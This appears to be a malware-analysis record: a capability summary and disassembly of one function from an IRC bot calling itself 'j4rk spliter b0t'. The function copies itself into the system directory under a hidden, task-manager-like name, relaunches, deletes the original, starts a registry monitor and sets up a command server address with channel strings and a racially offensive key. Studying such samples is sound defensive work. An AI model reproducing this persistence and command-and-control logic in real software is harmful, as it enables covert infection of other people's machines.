Function at 0x40213f
Capabilities:
Check for time delay via gettickcount
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create process on windows
Create thread
Delete file
Get common file path
Get file attributes
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9a0
push ebx
push esi
push edi
and dword [ebp - 0x210], 0
and dword [ebp - 0x20c], 0
and dword [ebp - 0x59c], 0
and dword [ebp - 0x730], 0
mov dword [ebp - 0x208], 0x40c022
push dword [ebp - 0x208]
push dword fs:[0]
mov dword fs:[0], esp
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
mov dword [0x4dd4f8], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.0041eb10
pop ecx
push 1
push 2
call fcn.004123cb
pop ecx
pop ecx
call fcn.00415e8e
push 2
call dword [0x4e35d0]
push 0xea60
push str._j4rk_spliter_b0t_
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x4021e8
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [ebp - 0x72c]
push eax
push 0x202
call dword [0x4e34a8]
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0
je 0x402210
xor eax, eax
jmp 0x402821
movzx eax, word [ebp - 0x72c]
and eax, 0xff
movzx eax, al
cmp eax, 2
jne 0x402236
movzx eax, word [ebp - 0x72c]
shr eax, 8
movzx eax, al
cmp eax, 2
je 0x402243
call dword [0x4e3490]
xor eax, eax
jmp 0x402821
push 0x104
lea eax, [ebp - 0x498]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x104
lea eax, [ebp - 0x314]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x598]
push eax
lea eax, [ebp - 0x204]
push eax
push 0
push 0
lea eax, [ebp - 0x314]
push eax
call fcn.0041f5d0
add esp, 0x14
lea eax, [ebp - 0x598]
push eax
lea eax, [ebp - 0x204]
push eax
push 0x440d30
push 0x104
lea eax, [ebp - 0x104]
push eax
call fcn.0041f000
add esp, 0x14
lea eax, [ebp - 0x498]
push eax
lea eax, [ebp - 0x314]
push eax
call fcn.0041f550
pop ecx
pop ecx
test eax, eax
jne 0x4024df
cmp dword [0x4dd8b8], 0
je 0x402326
and dword [ebp - 0x210], 0
jmp 0x4022f4
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
push str.tskmngr.exe
call fcn.0041ec40
pop ecx
sub eax, 4
cmp dword [ebp - 0x210], eax
jae 0x402326
call fcn.0041eb20
cdq
push 0x1a
pop ecx
idiv ecx
add edx, 0x61
mov eax, dword [ebp - 0x210]
mov byte [eax + str.tskmngr.exe], dl
jmp 0x4022e7
push str.tskmngr.exe
lea eax, [ebp - 0x498]
push eax
push 0x440d38
lea eax, [ebp - 0x980]
push eax
call fcn.0041ee40
add esp, 0x10
lea eax, [ebp - 0x980]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40236a
push 0x80
lea eax, [ebp - 0x980]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
and dword [ebp - 0x87c], 0
push 0
lea eax, [ebp - 0x980]
push eax
lea eax, [ebp - 0x314]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x4023cd
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x998], eax
cmp dword [ebp - 0x87c], 0
jne 0x4023c9
cmp dword [ebp - 0x998], 0x20
je 0x4023b2
cmp dword [ebp - 0x998], 5
jne 0x4023c9
mov dword [ebp - 0x87c], 1
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4023cb
jmp 0x4023cd
jmp 0x402371
lea eax, [ebp - 0x980]
push eax
call fcn.0040bb89
pop ecx
push 7
lea eax, [ebp - 0x980]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x10
push 0
lea eax, [ebp - 0x994]
push eax
call fcn.0041ecc0
add esp, 0xc
push 0x44
push 0
lea eax, [ebp - 0x878]
push eax
call fcn.0041ecc0
add esp, 0xc
mov dword [ebp - 0x86c], 0x4dd8c8
mov dword [ebp - 0x878], 0x44
mov dword [ebp - 0x84c], 1
and word [ebp - 0x848], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 1
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x984], eax
lea eax, [ebp - 0x314]
push eax
push dword [ebp - 0x984]
lea eax, [ebp - 0x980]
push eax
push str._s__d___s_
lea eax, [ebp - 0x834]
push eax
call fcn.0041ee40
add esp, 0x14
lea eax, [ebp - 0x994]
push eax
lea eax, [ebp - 0x878]
push eax
lea eax, [ebp - 0x498]
push eax
push 0
push 0x28
push 1
push 0
push 0
lea eax, [ebp - 0x834]
push eax
lea eax, [ebp - 0x980]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4024df
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp - 0x994]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x990]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [0x4e3490]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x4e373c], 2
jle 0x40253a
mov eax, dword [0x4e3740]
push dword [eax + 4]
call fcn.0041f200
pop ecx
mov dword [ebp - 0x99c], eax
push 0xffffffffffffffff
push dword [ebp - 0x99c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x99c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x4e3740]
cmp dword [eax + 8], 0
je 0x40253a
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x4e3740]
push dword [eax + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [0x440900], 0
je 0x402559
cmp dword [0x4e35f8], 0
jne 0x402559
lea eax, [ebp - 0x104]
push eax
call fcn.0040a634
pop ecx
push str._MAIN_
push str._s_Bot_started
lea eax, [ebp - 0x394]
push eax
call fcn.0041ee40
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x394]
push eax
call fcn.0041d7c3
add esp, 0xc
lea eax, [ebp - 0x394]
push eax
call fcn.0040a845
pop ecx
push 0xb80
push 0
push 0x44ab98
call fcn.0041ecc0
add esp, 0xc
push str._MAIN_
push str._s_Registry_monitor_active
lea eax, [ebp - 0x394]
push eax
call fcn.0041ee40
add esp, 0xc
push 0
push 1
lea eax, [ebp - 0x394]
push eax
call fcn.0041d7c3
add esp, 0xc
mov dword [ebp - 0x210], eax
lea eax, [ebp - 0x59c]
push eax
push 0
lea eax, [ebp - 0x104]
push eax
push 0x40a6bb
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x210]
imul ecx, ecx, 0x244
mov dword [ecx + 0x44bb30], eax
mov eax, dword [ebp - 0x210]
imul eax, eax, 0x244
cmp dword [eax + 0x44bb30], 0
jne 0x40263e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._MAIN_
push str._s_Failed_to_start_registry_thread__error__d
lea eax, [ebp - 0x394]
push eax
call fcn.0041ee40
add esp, 0x10
lea eax, [ebp - 0x394]
push eax
call fcn.0040a845
pop ecx
call fcn.0041eb20
xor edx, edx
push 1
pop ecx
div ecx
mov dword [0x4dd8c0], edx
push 0x7f
push 0x440a60
push 0x4dd50c
call fcn.0041ed20
add esp, 0xc
mov eax, dword [0x440908]
mov dword [0x4dd65c], eax
push 0x3f
push str.splitj4rkchat
push 0x4dd58c
call fcn.0041ed20
add esp, 0xc
push 0x3f
push 0x440ab0
push 0x4dd5cc
call fcn.0041ed20
add esp, 0xc
and dword [0x4dd660], 0
push 1
pop eax
test eax, eax
je 0x402814
and dword [ebp - 0x210], 0
jmp 0x4026cb
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 6
jge 0x402745
cmp dword [0x4e3610], 0
jne 0x4026fd
push 0
lea eax, [ebp - 0x9a0]
push eax
call dword [0x4e3480]
test eax, eax
jne 0x4026fd
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4026be
and dword [0x4dd8bc], 0
push 0x4dd508
call fcn.00402828
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 2
jne 0x40271f
jmp 0x402745
cmp dword [0x4dd8bc], 0
je 0x402735
mov eax, dword [ebp - 0x210]
dec eax
mov dword [ebp - 0x210], eax
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4026be
cmp dword [ebp - 0x20c], 2
jne 0x402753
jmp 0x402814
cmp dword [ebp - 0x730], 0
je 0x4027ab
push 0x7f
push 0x440a60
push 0x4dd50c
call fcn.0041ed20
add esp, 0xc
mov eax, dword [0x440908]
mov dword [0x4dd65c], eax
push 0x3f
push str.splitj4rkchat
push 0x4dd58c
call fcn.0041ed20
add esp, 0xc
push 0x3f
push 0x440ab0
push 0x4dd5cc
call fcn.0041ed20
add esp, 0xc
and dword [ebp - 0x730], 0
jmp 0x40280f
cmp dword [ebp - 0x730], 0
jne 0x40280f
movsx eax, byte [str.j4rk_splitter.j4rk.info]
test eax, eax
je 0x40280f
push 0x7f
push str.j4rk_splitter.j4rk.info
push 0x4dd50c
call fcn.0041ed20
add esp, 0xc
mov eax, dword [0x44090c]
mov dword [0x4dd65c], eax
push 0x3f
push str.splitj4rkch4t
push 0x4dd58c
call fcn.0041ed20
add esp, 0xc
push 0x3f
push str.supnigga
push 0x4dd5cc
call fcn.0041ed20
add esp, 0xc
mov dword [ebp - 0x730], 1
jmp 0x4026aa
call fcn.0041da9e
call dword [0x4e3490]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0x10